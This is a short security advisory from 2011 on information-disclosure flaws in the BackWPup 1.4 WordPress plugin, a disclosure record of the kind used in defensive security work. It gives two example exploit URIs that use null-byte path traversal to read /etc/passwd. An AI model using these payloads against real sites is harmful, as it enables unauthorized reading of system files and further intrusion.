BackWPup Plugin for WordPress Multiple Information Disclosure Vulnerabilities

Bugtraq ID:	46610
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Feb 28 2011 12:00AM
Updated:	Feb 28 2011 12:00AM
Credit:	Danilo Massa
Vulnerable:	WordPress BackWPup 1.4
Not Vulnerable:

BackWPup Plugin for WordPress Multiple Information Disclosure Vulnerabilities

The BackWPup plugin for WordPress is prone to multiple information-disclosure vulnerabilities because it fails to properly sanitize user-supplied input.

Attackers can exploit these issues to retrieve the contents of an arbitrary file. Information obtained may aid in launching further attacks.

BackWPup Plugin for WordPress Multiple Information Disclosure Vulnerabilities

Attackers can exploit these issues with a web browser.

The following example URIs are available:

http://www.example.com/wp-content/plugins/backwpup/app/options-runnow-iframe.php?wpabs=/etc/passwd%00&jobid=1

http://www.example.com/wp-content/plugins/backwpup/app/options-view_log-iframe.php?wpabs=/etc/passwd%00&logfile=/etc/passwd

BackWPup Plugin for WordPress Multiple Information Disclosure Vulnerabilities

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

BackWPup Plugin for WordPress Multiple Information Disclosure Vulnerabilities

References:

• Backwpup Homepage (WordPress)